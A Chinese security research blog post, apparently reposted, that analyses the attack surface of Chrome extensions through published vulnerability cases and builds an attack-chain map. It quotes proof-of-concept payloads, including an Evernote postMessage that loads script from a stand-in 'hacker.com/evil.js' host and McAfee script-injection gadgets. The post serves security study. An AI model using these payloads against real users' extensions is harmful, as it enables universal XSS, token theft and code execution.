Chrome扩展攻击指南(二):漏洞分析
2024-11-24 12:36:42 Author: blog.xlab.app(查看原文) 阅读量:12 收藏

结合漏洞案例,分析各组件的攻击面,最终绘制完整的攻击链路图

漏洞特点

攻击场景设计是在用户在访问恶意站点,触发漏洞利用

前端漏洞主要还是围绕XSS和CSRF,而在Chrome扩展场景中,漏洞的成因是相似的,但由于漏洞作用的组件不同,导致漏洞的效果也不太一样

由于Content Scripts可在多个站点中执行,XSS可能会变成UXSS

UXSS(Universal Cross-Site Scripting) 通用XSS,可以在任意网站中实现XSS

但在当前站点中有些特殊,因为有同源策略,CSRF不再成立,因为与网页共享DOM,HTML注入的XSS也没有什么用

在Background中由于没有同源策略,且可以访问Chrome API,XSS可以视为UXSS,CSRF也可以无视同源策略执行

同时在Chrome Manifest V3中规定禁止代码执行,禁止加载远程资源,体现在CSP中无法添加unsafe-evalunsafe-inline,也无法添加任何远程地址,导致想要在Manifest V3实现XSS非常困难,不过好在现在大部分还在用Manifest V2(大概75%)

攻击面分析

从历史漏洞中学习,分析攻击面,总结攻击链路,为漏洞挖掘提供思路

但在Chrome扩展研究中存在一个比较大的问题:扩展没有官方提供历史版本,导致难以复现进行研究

但也有人收集历史数据,钱能解决问题

https://chrome-stats.com/

下面在此基础上,结合漏洞案例,介绍各组件存在的攻击面,以及相关攻击链路

Content scripts

Content scripts作为最贴近网页的扩展组件,大多数的攻击起点也都是在这里

主要攻击入口有DOM元素,事件,window.nameWeb Storage

DOM

由于Content scripts与网页JS共享DOM

对于恶意站点来说,攻击入口包括了整个DOM

对于目标站点,攻击入口则是该域下所有可控的DOM,依赖站点特性,这里不多介绍

Scratch Addons (CVE-2020-26239)

DOM->Content->DOM

DOM元素的textContent写入outerHTML,导致XSS

1
2
3
document.querySelectorAll(".project-description a").forEach((element) => {
if (/\d+/.test(element.textContent)) element.outerHTML = element.textContent;
});

https://github.com/ScratchAddons/ScratchAddons/security/advisories/GHSA-6qfq-px3r-xj4p

Teleparty

DOM->Content

旧版jQuery处理html时会将script的内容传递到eval执行

扩展在Content scripts中使用jQuery处理恶意的DOM数据,导致在Content scripts中代码执行

1
2
3
4
5
6
const message = msgContainer.data("message");
msgContainer.replaceWith(
jQuery(`
<p>${message.body}</p>
`)
);

攻击payload如下

1
2
3
4
5
6
<div class="msg"
data-perm-id="rand"
data-user-nickname="hi"
data-message='{"body":"<script>alert(chrome.runtime.id)</script>"}'
data-user-icon="any.svg">
</div>

https://palant.info/2022/03/14/party-time-injecting-code-into-teleparty-extension/

Video Downloader

DOM->Content->Background->Popup DOM

ContentDOM中寻找链接,传递给Background,并在Popup展示用于下载

过滤链接存在绕过,同时Popup页面通过拼接HTML渲染页面,导致在Popup页面XSS

这个扩展申请了cookies,XSS可以调用Chrome API获取所有cookie

申请了所有域权限,http://*/*https://*/*,XSS可以无视同源策略发起任意请求

https://thehackerblog.com/video-download-uxss-exploit-detailed/

DOM Event

除了Content去直接查询DOM元素,还有订阅事件

Cisco Webex

DOM Event->Content->Background->WebEx DLL

document中监听事件,将事件消息经过一系列转换,最终转发到本机WebEx程序

1
2
3
4
5
6
7
8
9
document.addEventListener("connect", function (e) {
console.info("[ContentScript] connect: e=", e),
(p.token_ = e.detail.token),
p.connectPort(chrome.runtime.id);
}),
document.addEventListener("message", function (e) {
console.info("[ContentScript] message: e=", e),
p.sendMessage(e.detail, p.handleNativeMessage);
});

DOM中构造对应事件数据,最终利用WebEx相关DLL功能实现RCE

1
2
3
4
5
6
document.dispatchEvent(
new CustomEvent("connect", { detail: {} })
);
document.dispatchEvent(
new CustomEvent("message", { detail: {} })
);

https://bugs.chromium.org/p/project-zero/issues/detail?id=1096

https://bugs.chromium.org/p/project-zero/issues/detail?id=1100

onmessage

由于Content scripts与网页使用同一个windowpostMessage将直接与Content scripts通信

如果没有校验来源,甚至可以利用iframe或者window.open获取目标window,跨域发送消息直达Content scripts完成攻击

LastPass

Msg->Content->Background

未校验来源,直接把消息转发到Background scripts

1
2
3
window.addEventListener("message", function(e) {
e.data.fromExtension || chrome.runtime.sendMessage(e.data, function(e) {});
});

从而调用在Background scripts中的丰富功能,甚至包括与本地LassPass程序的RPC通信,从而实现窃取密码/RCE

https://bugs.chromium.org/p/project-zero/issues/detail?id=1209

Evernote (CVE-2019-12592)

Msg->Content->DOM

Content监听message,最终会根据msg在当前网页的所有iframe注入一个js,实现UXSS

1
2
3
4
5
6
7
8
9
window.postMessage({
"type": "EN_request",
"messageID": "clipper-serializer-1",
"name": "EN_installAndSerializerAll",
"data": {
"target": ".targets",
"resuorcePath": "https://hacker.com/evil.js?q="
}
})

https://guard.io/blog/evernote-universal-xss-vulnerability

Adobe Acrobat

XSS->Msg->Content->Background

为了实现在documentcloud.adobe.com中查看PDF,会注入特定的Content scriptsBackground scripts通信,利用Background scripts无同源策略,将PDF文件传输到documentcloud.adobe.com

documentcloud.adobe.com想查看https://internal/file.pdf

  1. 把链接通过postMessage发给Content scripts
  2. Content scripts把链接发给Background scripts
  3. Background scripts无同源策略限制,fetch直接获取文件
  4. 一步步回传给documentcloud.adobe.com

结合利用documentcloud.adobe.com域名下XSS漏洞,实现同源策略绕过

https://palant.info/2022/04/19/adobe-acrobat-hollowing-out-same-origin-policy/

window.name

虽然说Content与网页隔离,变量不能共享,但是window.name是个例外

Pop up blocker

name->Content

window.name经过一系列编码转换,最终传递到location.href,可实现任意重定向

由于利用点是location,还可以利用javascript协议执行JS

1
2
3
4
5
6
7
if (window.name && 0 == window.name.indexOf("pp_pending_ntf:")) {
const n = JSON.parse(atob(name.split(":")[1]));
if (n.host !== location.host) {
let o = n.pop.split("|")[0];
location.href = o;
}
}

但是由于这是一个Manifest V3扩展,会被CSP拦截,不能实现实际的攻击

Web Storage

在Web中使用存储有

  1. localStorage
  2. sessionStorage
  3. indexedDB
  4. Web SQL

如果在Content中使用Web Storage,其实是在使用当前网站的存储,而不是扩展程序自己的

写入Web Storage存在信息泄露,同时读取Web Storage也是用户输入

有时使用Web Storage并不是扩展本身的意愿,而是扩展程序使用的依赖库在使用Web Storage

Background中,由于有自己的页面,所以是存储在扩展中,不过在Chrome扩展中推荐使用的Chrome API提供的存储能力

  1. chrome.storage.local
  2. chrome.storage.sync
  3. chrome.storage.session
  4. chrome.storage.managed

Skype

在页面中点击Skype扩展时,Content会将userId存储在sessionStorage中,恶意网站可在自己的sessionStorage读取

userId包含Skype ID,可以根据这个ID搜索到Skype账号

1
2
3
4
5
6
7
8
setUserId: function(userId)
{
this.currentUserId(userId);
if (!userId)
sessionStorage.removeItem("sxt-user");
else
sessionStorage.setItem("sxt-user", userId);
}

https://palant.info/2022/03/01/skype-extension-all-functionality-broken-still-exploitable/

彩云小译

在启动翻译时,Content中的trs.js会写入指纹数据到localStorage

其中browserIddeviceId是扩展程序生成的指纹数据

1
2
3
4
5
6
const e = await browser.storage.local.get("browserId");
e && e.browserId &&
((U = e.browserId), localStorage.setItem("cyxy-browserId", U));

const e = await browser.storage.local.get("deviceId");
e && e.deviceId && ((F = e.deviceId), localStorage.setItem("cyxy-deviceId", F));

Inject scripts

这是自造的非官方概念,复习一下这个概念

由于Content scripts与网页隔离,有些功能又需要访问网页空间中的数据,扩展程序往往使用会在Content scripts中通过DOM注入script标签执行一些代码,这个脚本被我称之为Inject scripts

1
2
3
let script = document.createElement('script')
script.src = balabala
document.head.appendChild(script)

Inject scripts与网页中的其他JS同等权限,由执行顺序决定地位,Inject scripts只有在第一个运行才是安全的,不然一切都是不可信的

Content scripts中可以指定运行时间,未定义会默认使用document_idle

  • document_start 在DOM创建之前
  • document_end DOM完成之后,会早于img和iframe加载
  • document_idle 在end之后,在onload之前

那么可以整理时间线

  1. document_start脚本
  2. 网页脚本
  3. DOMContentLoaded事件
  4. document_end脚本
  5. document_idle脚本
  6. load事件

脚本的执行顺序决定了地位,只有在document_start运行脚本使用Inject scripts才是安全的,否则脚本使用的函数可能会被恶意的网页脚本hook,导致数据泄露

document_start这个时机,对于大多数扩展并不“实用”,此时DOM还没有创建,只有一个空的HTML标签

而且需要直接在documentElement追加script

1
2
3
let script = document.createElement('script')
script.src = balabala
document.documentElement.appendChild(s)

但可以预先建立安全通信信道,注册一些功能,等待网页加载完成后再执行更多的功能,这块可以参考duckduckgo的安全实现

https://github.com/duckduckgo/content-scope-scripts

另外之前提到在Manifest V3中禁止代码执行和加载远程代码能力,所以script.src不允许远程地址,也不能通过script.textContent方式执行代码,全都会被CSP拦截

script.src只能是扩展程序自身的js文件路径

1
2
3
4
let script = document.createElement("script");
script.src = chrome.runtime.getURL("inject.js");

document.body.appendChild(a);

但此时inject.js在网页空间中执行,不再受Manifest V3 CSP限制,而是受网页CSP限制,大部分网页CSP并没有那么严格,往往能够执行引入外部js甚至执行eval

有些扩展程序用这个这个方式来规避严格的Manifest V3 CSP,但也因此让Manifest V3扩展有了UXSS的可能,也算是一个“寄”巧了

Wappalyzer

msg->Inject->Content->Background->Popup

扩展脚本需要在网页空间查找一些特定的JS变量,来识别相关的框架/库,所以部分检测逻辑是在Inject scripts中实现的

其中检测规则通过ContentpostMessage传输给InjectInject执行的结果又通过postMessage回传给Content

这里网页JS可以通过伪装成Inject,给Content发消息,实现欺骗指纹识别

详细可以参考我的老文章 https://blog.xlab.app/p/63a5b7e6/

Kaspersky (CVE-2019-15687)

在注入的脚本会在在window中创建变量

1
2
3
4
5
6
7
8
9
10
11
12
13
if (ns.WORK_IDENTIFIERS)
{
var workIdentifiers = ns.WORK_IDENTIFIERS.split(",");
for (var i = 0; i < workIdentifiers.length; ++i)
{
if (window[workIdentifiers[i]])
{
ns.AddRunner = function(){};
return;
}
window[workIdentifiers[i]] = true;
}
}

WORK_IDENTIFIERS中包含唯一ID,可用于跨浏览器跟踪

https://palant.info/2019/11/27/assorted-kaspersky-vulnerabilities/#tracking-users-with-kaspersky

Background scripts

Background一般来说是不能直接接触到,只有Content能与之通信,但有几个特例

Web Accessible Resources

Web可访问资源,是指在网页空间或者其他扩展程序中访问,一般是一些静态资源CSS图片之类的,用于在网页上显示

前面讲Inject scripts在Manifest V3时提到,只能加载扩展自身的JS文件,通过chrome.runtime.getURL("inject.js")得到文件链接,形如chrome-extension://cjpalhdlnbpafiamejdnhcphjbkeiagm/inject.js

其中cjpalhdlnbpafiamejdnhcphjbkeiagm是扩展ID,由Chrome扩展商店给每个扩展程序分配的唯一ID

而具体文件是否可访问,是在manifest中定义的,比如

1
2
3
4
5
6
7
{
"web_accessible_resources": [
"images/*.png",
"script/main.js",
"templates/*.html"
]
}

在Manifest V3中稍微修改了定义格式,增强了访问控制,可以进一步定义在哪些url中可访问

1
2
3
4
5
6
7
8
9
10
11
12
13
{
"web_accessible_resources": [
{
"resources": [
"test1.png",
"test2.png"
],
"matches": [
"https://web-accessible-resources-1.glitch.me/*"
],
},
],
}

并增加了use_dynamic_url的选项,说是如果设置为true,只允许通过动态ID访问,每个会话都会生成一个动态ID,浏览器重新启动或扩展程序重新加载时重新生成

但是我测试并没有用,直接用原始的固定ID依然可以访问

下面将Web Accessible Resources简称WAR

扩展探测

既然是可以从Web访问,扩展ID,文件路径都是预先定义的,那么文件路径也是就是预定义

通过检测WAR响应来探测是否安装了这个扩展,暴力枚举即可,网上也有很多实现

https://github.com/opensec-cn/crx-scouter

https://github.com/z0ccc/extension-fingerprints

Kaspersky (CVE-2019-15684)

Msg->WAR

background/ext_remover.html中监听windowmessage事件,且没有检查来源,根据msg中传入的数据,卸载指定的Chrome扩展程序

同时这个页面在WAR中,于是可以通过iframe加载,并给这个页面发消息,实现卸载任意的Chrome扩展程序

https://palant.info/2019/11/27/assorted-kaspersky-vulnerabilities/#uninstalling-any-browser-extension

McAfee WebAdvisor (CVE-2019-3670)

URL->Background+self gadget

在恶意网页拦截页面中,原链接通过URL参数传递,渲染在页面中显示,此处存在DOM XSS

但由于页面的CSP拦截,无法直接利用(需要unsafe-inline

script-src 'self' 'unsafe-eval'; object-src 'self'

同时这个页面中也没有可利用的gadget来执行eval

但可以引入扩展自身的js作为gadget

通过引入block_page.js,构造对应的button触发相关功能,实现添加/删除白名单

1
2
3
4
5
6
<script type="module" src="chrome-extension://fheoggkfdfchfphceeifdbepaooicaho/block_page.js">
</script>
<button id="block_page_accept_risk"
style="position: absolute; top: 0; left: 0; bottom: 0; width: 100%;">
Dare to click!
</button>

引入settings.js,实现修改配置,同时这个配置与本机WebAdvisor程序自动同步

于是将payload同步注入到WebAdvisor程序,实现在程序设置页面XSS,之后进一步利用程序设置页面功能实现修改注册表和RCE

1
2
3
4
5
6
7
8
<script type="module" src="chrome-extension://fheoggkfdfchfphceeifdbepaooicaho/settings.js">
</script>
<button id="add-btn"
style="position: absolute; top: 0; left: 0; bottom: 0; width: 100%;">
Dare to click!
</button>
<input id="settings_whitelist_input"
value="example.com<script>alert(location.href)</script>">

https://palant.info/2020/02/25/mcafee-webadvisor-from-xss-in-a-sandboxed-browser-extension-to-administrator-privileges/

这个漏洞入口虽然没有涉及WAR,但告诉我们WAR可以作为XSS gadget存在

Externally Connectable

前面提到只有Content能和Background通信,而网页是不能的,但Externally Connectable开了这个口子

externally_connectablemanifest.json中以白名单的形式定义哪些扩展或网页可以与自己通信

1
2
3
4
5
6
7
8
9
10
{
"externally_connectable": {
"ids": [
"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa",
],
"matches": [
"https://*.google.com/*",
]
}
}

另外默认情况下扩展和扩展之间可以相互访问,设置externally_connectable时同时配置"ids": ["*"]才能保持这个默认配置

1
2
3
4
5
6
7
8
9
10
{
"externally_connectable": {
"ids": [
"*",
],
"matches": [
"https://*.google.com/*",
]
}
}

扩展程序在接收消息时不同于接收来自Content的请求,需要使用chrome.runtime.onMessageExternal来接受消息

Custom Cursor

ExtMag->Background

指定域名可与扩展通信,通过调用Background功能,传递的Msg直接通过jQuery渲染HTML,导致XSS

1
2
3
4
5
6
7
collection = $(
`<div class="box-setting" data-collname="${collname}">
<h3>${item.name}</h3>
<div class="collection-cursors" data-collname="${collname}">
</div>
</div>`
);

同时Background的CSP存在unsafe-eval,拥有所有网站权限*://*/*

网站域名下任意XSS可以转化为BackgroundXSS,可以无视同源策略访问所有网站

https://palant.info/2021/09/28/breaking-custom-cursor-to-p0wn-the-web/

Screencastify

有录制视频,编辑视频,上传Google Drive等功能

指定域名可与扩展通信,可以直接获取Google OAuth access token,开启摄像头,上传视频等功能

在无交互的情况下能够实现

  1. 开启摄像头录屏
  2. 上传视频到Google Drive
  3. 用Google OAuth access token获取视频

同样利用网站XSS也能实现

https://palant.info/2022/05/23/hijacking-webcams-with-screencastify/

Chrome API

一些Chrome API的数据源也是用户输入

比如chrome.tabs系列,可以获取标签页的URL,Title等

还有chrome.cookiechrome.contextMenus

由于没有找到漏洞案例,这里不展开了

攻击链路图

以此绘制完整的攻击链路图

  • 黑色为直接可控入口
  • 灰色是关键API模块
  • 红色是最终目标
  • 链接线是数据链路,链接文字是相关权限要求/安全防护


文章来源: https://blog.xlab.app/p/4db211d2/
如有侵权请联系:admin#unsafe.sh